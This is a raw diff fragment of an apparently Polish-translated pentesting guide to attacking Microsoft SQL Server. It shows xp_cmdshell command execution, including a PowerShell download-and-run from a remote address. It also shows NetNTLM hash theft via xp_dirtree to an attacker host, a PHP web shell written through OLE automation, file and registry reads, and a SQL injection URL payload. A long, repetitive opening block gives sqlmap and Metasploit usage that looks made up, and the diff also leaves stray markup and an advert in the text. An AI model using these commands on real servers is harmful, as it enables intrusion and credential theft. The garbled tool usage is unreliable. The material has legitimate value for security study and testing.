SELECT name FROM sys.databases
|
||||
```
|
||||
|
||||
##### Wyliczanie kont użytkowników
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć konta użytkowników w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_hashdump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --users
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.syslogins
|
||||
```
|
||||
|
||||
##### Wyliczanie uprawnień użytkowników
|
||||
|
||||
Po zidentyfikowaniu kont użytkowników, można wyliczyć ich uprawnienia w celu znalezienia potencjalnych słabych punktów. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_login
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --users --passwords
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name, permission_name FROM sys.database_principals
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o tabelach
|
||||
|
||||
Po zidentyfikowaniu baz danych i kont użytkowników, można wyliczyć informacje o tabelach w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --tables -D <nazwa_bazy_danych>
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o kolumnach
|
||||
|
||||
Po zidentyfikowaniu tabel, można wyliczyć informacje o kolumnach w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --columns -D <nazwa_bazy_danych> -T <nazwa_tabeli>
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name = '<nazwa_tabeli>'
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o widokach
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o widokach w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --tables -D <nazwa_bazy_danych> --sql-query "SELECT name FROM sys.views"
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT table_name FROM information_schema.views WHERE table_catalog = '<nazwa_bazy_danych>'
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o procedurach składowanych
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o procedurach składowanych w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --tables -D <nazwa_bazy_danych> --sql-query "SELECT name FROM sys.procedures"
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.procedures WHERE type = 'P'
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o funkcjach skalaranych
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o funkcjach skalaranych w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --tables -D <nazwa_bazy_danych> --sql-query "SELECT name FROM sys.objects WHERE type = 'FN'"
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.objects WHERE type = 'FN'
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o funkcjach skalaranych CLR
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o funkcjach skalaranych CLR w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --tables -D <nazwa_bazy_danych> --sql-query "SELECT name FROM sys.assembly_modules"
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.assembly_modules
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o funkcjach agregujących
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o funkcjach agregujących w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --tables -D <nazwa_bazy_danych> --sql-query "SELECT name FROM sys.objects WHERE type = 'AF'"
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.objects WHERE type = 'AF'
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o typach danych użytkownika
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o typach danych użytkownika w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --tables -D <nazwa_bazy_danych> --sql-query "SELECT name FROM sys.types WHERE is_user_defined = 1"
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.types WHERE is_user_defined = 1
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o kluczach obcych
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o kluczach obcych w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --tables -D <nazwa_bazy_danych> --sql-query "SELECT name FROM sys.foreign_keys"
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.foreign_keys
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o indeksach
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o indeksach w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --tables -D <nazwa_bazy_danych> --sql-query "SELECT name FROM sys.indexes"
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.indexes
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o wyzwalaczach
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o wyzwalaczach w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --tables -D <nazwa_bazy_danych> --sql-query "SELECT name FROM sys.triggers"
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.triggers
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o sekwencjach
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o sekwencjach w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --tables -D <nazwa_bazy_danych> --sql-query "SELECT name FROM sys.sequences"
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.sequences
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o schematach
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o schematach w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_schemadump
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
set USERNAME <nazwa_użytkownika>
|
||||
set PASSWORD <hasło_użytkownika>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --tables -D <nazwa_bazy_danych> --sql-query "SELECT name FROM sys.schemas"
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.schemas
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o funkcjach CLR
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o funkcjach CLR w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_enum_clr
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --clr
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.assemblies
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o funkcjach rozszerzalnych
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o funkcjach rozszerzalnych w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_enum_ext
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --ext
|
||||
```
|
||||
|
||||
```plaintext
|
||||
SELECT name FROM sys.assembly_modules WHERE assembly_id IN (SELECT assembly_id FROM sys.assemblies WHERE is_user_defined = 1)
|
||||
```
|
||||
|
||||
##### Wyliczanie informacji o funkcjach agregujących CLR
|
||||
|
||||
Po zidentyfikowaniu baz danych, można wyliczyć informacje o funkcjach agregujących CLR w celu dalszego ataku. Można to zrobić za pomocą narzędzi takich jak `Metasploit`, `SQLMap` lub `SQL Server Management Studio (SSMS)`.
|
||||
|
||||
```plaintext
|
||||
msfconsole
|
||||
use auxiliary/scanner/mssql/mssql_enum_agg
|
||||
set RHOSTS <adres_IP_docelowego_systemu>
|
||||
run
|
||||
```
|
||||
|
||||
```plaintext
|
||||
sqlmap -u "jdbc:sqlserver://<adres_IP_docelowego_systemu>:1433" --
|
||||
```sql
|
||||
# Get version
|
||||
select @@version;
|
||||
|
@ -554,18 +143,18 @@ order by name;
|
|||
EXEC sp_helpuser
|
||||
SELECT * FROM sysusers
|
||||
```
|
||||
#### Uzyskiwanie uprawnień
|
||||
#### Uzyskiwanie Uprawnień
|
||||
|
||||
1. **Element zabezpieczony:** Zdefiniowany jako zasoby zarządzane przez SQL Server w celu kontroli dostępu. Są one kategoryzowane jako:
|
||||
- **Serwer** - Przykłady to bazy danych, logowania, punkty końcowe, grupy dostępności i role serwera.
|
||||
- **Baza danych** - Przykłady obejmują role bazy danych, role aplikacji, schemat, certyfikaty, katalogi pełnotekstowe i użytkowników.
|
||||
- **Schemat** - Obejmuje tabele, widoki, procedury, funkcje, synonimy itp.
|
||||
1. **Obiekt zabezpieczalny:** Zdefiniowany jako zasoby zarządzane przez serwer SQL w celu kontroli dostępu. Są one kategoryzowane jako:
|
||||
- **Serwer** – Przykłady obejmują bazy danych, logowania, punkty końcowe, grupy dostępności i role serwera.
|
||||
- **Baza danych** – Przykłady obejmują role bazy danych, role aplikacji, schematy, certyfikaty, katalogi pełnotekstowe i użytkowników.
|
||||
- **Schemat** – Obejmuje tabele, widoki, procedury, funkcje, synonimy, itp.
|
||||
|
||||
2. **Uprawnienie:** Powiązane z elementami zabezpieczonymi SQL Servera, uprawnienia takie jak ALTER, CONTROL i CREATE mogą być udzielane podmiotowi. Zarządzanie uprawnieniami odbywa się na dwóch poziomach:
|
||||
- Na poziomie **serwera** za pomocą logowań
|
||||
- Na poziomie **bazy danych** za pomocą użytkowników
|
||||
2. **Uprawnienie:** Powiązane z obiektami zabezpieczalnymi serwera SQL, uprawnienia takie jak ALTER, CONTROL i CREATE mogą być udzielane podmiotowi. Zarządzanie uprawnieniami odbywa się na dwóch poziomach:
|
||||
- Na **Poziomie Serwera** za pomocą logowań
|
||||
- Na **Poziomie Bazy Danych** za pomocą użytkowników
|
||||
|
||||
3. **Podmiot:** Termin ten odnosi się do podmiotu, któremu udzielane są uprawnienia do elementu zabezpieczonego. Podmioty obejmują głównie logowania i użytkowników bazy danych. Kontrola dostępu do elementów zabezpieczonych odbywa się poprzez udzielanie lub odmawianie uprawnień lub poprzez uwzględnienie logowań i użytkowników w rolach wyposażonych w prawa dostępu.
|
||||
3. **Podmiot:** Ten termin odnosi się do podmiotu, któremu udzielono uprawnień do obiektu zabezpieczalnego. Podmioty obejmują głównie logowania i użytkowników bazy danych. Kontrola dostępu do obiektów zabezpieczalnych odbywa się poprzez udzielanie lub odmawianie uprawnień lub poprzez uwzględnienie logowań i użytkowników w rolach wyposażonych w prawa dostępu.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -590,7 +179,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### Wykonaj polecenia systemowe
|
||||
|
||||
{% hint style="danger" %}
|
||||
Należy pamiętać, że aby móc wykonywać polecenia, nie tylko konieczne jest włączenie **`xp_cmdshell`**, ale również posiadanie **uprawnienia EXECUTE do procedury składowanej `xp_cmdshell`**. Można sprawdzić, kto (oprócz sysadminów) może używać **`xp_cmdshell`** za pomocą:
|
||||
Zauważ, że aby móc wykonywać polecenia, niezbędne jest nie tylko włączenie **`xp_cmdshell`**, ale także posiadanie **uprawnienia EXECUTE do procedury składowanej `xp_cmdshell`**. Możesz sprawdzić, kto (oprócz administratorów systemu) może używać **`xp_cmdshell`** za pomocą:
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
@ -623,9 +212,9 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
# Bypass blackisted "EXEC xp_cmdshell"
|
||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||
```
|
||||
### Kradzież hasha NetNTLM / Atak przekierowania
|
||||
### Ukradnij hasz NetNTLM / Atak przekazywania
|
||||
|
||||
Należy uruchomić serwer **SMB**, aby przechwycić używany w uwierzytelnianiu hash (`impacket-smbserver` lub `responder` na przykład).
|
||||
Należy uruchomić serwer **SMB**, aby przechwycić hasz używany w autoryzacji (`impacket-smbserver` lub `responder` na przykład).
|
||||
```bash
|
||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
|
@ -638,7 +227,7 @@ sudo impacket-smbserver share ./ -smb2support
|
|||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Możesz sprawdzić, kto (oprócz sysadminów) ma uprawnienia do uruchamiania tych funkcji MSSQL, używając:
|
||||
Możesz sprawdzić, czy ktoś (oprócz administratorów systemu) ma uprawnienia do uruchamiania tych funkcji MSSQL za pomocą:
|
||||
```sql
|
||||
Use master;
|
||||
EXEC sp_helprotect 'xp_dirtree';
|
||||
|
@ -654,9 +243,9 @@ Możesz zobaczyć, jak używać tych narzędzi w:
|
|||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Wykorzystywanie zaufanych linków MSSQL
|
||||
### Nadużywanie zaufanych łączy MSSQL
|
||||
|
||||
[**Przeczytaj ten post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **aby dowiedzieć się więcej na temat wykorzystywania tej funkcji:**
|
||||
[**Przeczytaj ten post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **aby dowiedzieć się więcej na temat nadużywania tej funkcji:**
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
|
||||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
|
@ -664,7 +253,7 @@ Możesz zobaczyć, jak używać tych narzędzi w:
|
|||
|
||||
### **Zapisywanie plików**
|
||||
|
||||
Aby zapisać pliki za pomocą `MSSQL`, musimy **włączyć** [**Procedury automatyzacji Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), co wymaga uprawnień administratora, a następnie wykonać niektóre procedury składowane w celu utworzenia pliku:
|
||||
Aby zapisać pliki za pomocą `MSSQL`, **musimy włączyć** [**Procedury automatyzacji Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), co wymaga uprawnień administratora, a następnie wykonać kilka procedur składowanych, aby utworzyć plik:
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
|
@ -682,9 +271,9 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
|
|||
EXECUTE sp_OADestroy @FileID
|
||||
EXECUTE sp_OADestroy @OLE
|
||||
```
|
||||
### **Odczytaj plik za pomocą** OPENROWSET
|
||||
### **Odczyt pliku za pomocą** OPENROWSET
|
||||
|
||||
Domyślnie, `MSSQL` umożliwia odczyt plików z dowolnego miejsca w systemie operacyjnym, do którego konto ma dostęp do odczytu. Możemy użyć następującego zapytania SQL:
|
||||
Domyślnie `MSSQL` pozwala na **odczyt plików z dowolnego miejsca w systemie operacyjnym, do którego konto ma dostęp do odczytu**. Możemy użyć następującego zapytania SQL:
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
|
@ -694,28 +283,18 @@ Jednak opcja **`BULK`** wymaga uprawnienia **`ADMINISTER BULK OPERATIONS`** lub
|
|||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
```
|
||||
#### Wektor oparty na błędach do SQLi:
|
||||
|
||||
```sql
|
||||
SELECT 1/0 FROM table_name
|
||||
```
|
||||
|
||||
This error-based vector is used to identify SQL injection vulnerabilities in Microsoft SQL Server. By dividing 1 by 0, an error is triggered if the vulnerability exists. If an error is returned, it indicates that the SQL injection vulnerability is present.
|
||||
|
||||
To exploit this vulnerability, an attacker can modify the payload to extract sensitive information from the database or perform other malicious actions.
|
||||
|
||||
Keep in mind that this technique may not work on all versions of Microsoft SQL Server, as error messages can be customized or disabled. It is important to test different error-based vectors and analyze the responses to determine if a SQL injection vulnerability exists.
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/Odczyt plików i wykonywanie skryptów (Python i R)**
|
||||
### **Uruchamianie skryptów RCE/Czytanie plików (Python i R)**
|
||||
|
||||
MSSQL może umożliwić wykonanie **skryptów w językach Python i/lub R**. Ten kod zostanie wykonany przez **innego użytkownika** niż ten, który używa **xp\_cmdshell** do wykonywania poleceń.
|
||||
MSSQL może umożliwić Ci uruchamianie **skryptów w Pythonie i/lub R**. Ten kod będzie wykonywany przez **innego użytkownika** niż ten używający **xp\_cmdshell** do wykonywania poleceń.
|
||||
|
||||
Przykład próby wykonania **'R'** _"Hellow World!"_ **nie działa**:
|
||||
|
||||
![](<../../.gitbook/assets/image (185) (1).png>)
|
||||
|
||||
Przykład użycia skonfigurowanego Pythona do wykonania kilku działań:
|
||||
Przykład użycia skonfigurowanego pythona do wykonania kilku działań:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
|
@ -731,9 +310,9 @@ GO
|
|||
```
|
||||
### Odczytaj rejestr
|
||||
|
||||
Microsoft SQL Server udostępnia **wiele rozszerzonych procedur składowanych**, które umożliwiają interakcję nie tylko z siecią, ale także z systemem plików i nawet z [**Rejestrem systemu Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
Microsoft SQL Server udostępnia **wiele rozszerzonych procedur składowanych**, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet [**Rejestrem systemu Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
|
||||
|
||||
| **Zwykłe** | **Z uwzględnieniem instancji** |
|
||||
| **Regularne** | **Z uwzględnieniem instancji** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
| sys.xp\_regread | sys.xp\_instance\_regread |
|
||||
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
||||
|
@ -756,29 +335,22 @@ EXEC sp_helprotect 'xp_regwrite';
|
|||
```
|
||||
Dla **więcej przykładów** sprawdź [**oryginalne źródło**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||
|
||||
### RCE z użyciem funkcji zdefiniowanej przez użytkownika MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
### RCE z funkcją zdefiniowaną przez użytkownika MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Możliwe jest **załadowanie pliku .NET dll wewnątrz MSSQL z niestandardowymi funkcjami**. Wymaga to jednak dostępu `dbo`, więc potrzebujesz połączenia z bazą danych **jako `sa` lub z rolą Administratora**.
|
||||
Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą niestandardowych funkcji**. Wymaga to jednak **dostępu do `dbo`**, więc potrzebne jest połączenie z bazą danych **jako `sa` lub z rolą Administratora**.
|
||||
|
||||
[Kliknij tutaj](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp), aby zobaczyć przykład.
|
||||
[Kliknij w ten link](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp), aby zobaczyć przykład.
|
||||
|
||||
### Inne sposoby na RCE
|
||||
|
||||
Istnieją inne metody uzyskania wykonania poleceń, takie jak dodawanie [rozszerzonych procedur składowanych](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [zestawów CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [zadań agenta SQL Server](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) i [skryptów zewnętrznych](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
Istnieją inne metody uzyskania wykonania poleceń, takie jak dodawanie [rozszerzonych procedur składowanych](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Zbiorów CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Zadań Agenta SQL Servera](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) i [zewnętrznych skryptów](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajduj podatności, które mają największe znaczenie, abyś mógł je szybko naprawić. Intruder śledzi twoją powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Eskalacja uprawnień MSSQL
|
||||
|
||||
### Od db\_owner do sysadmin
|
||||
|
||||
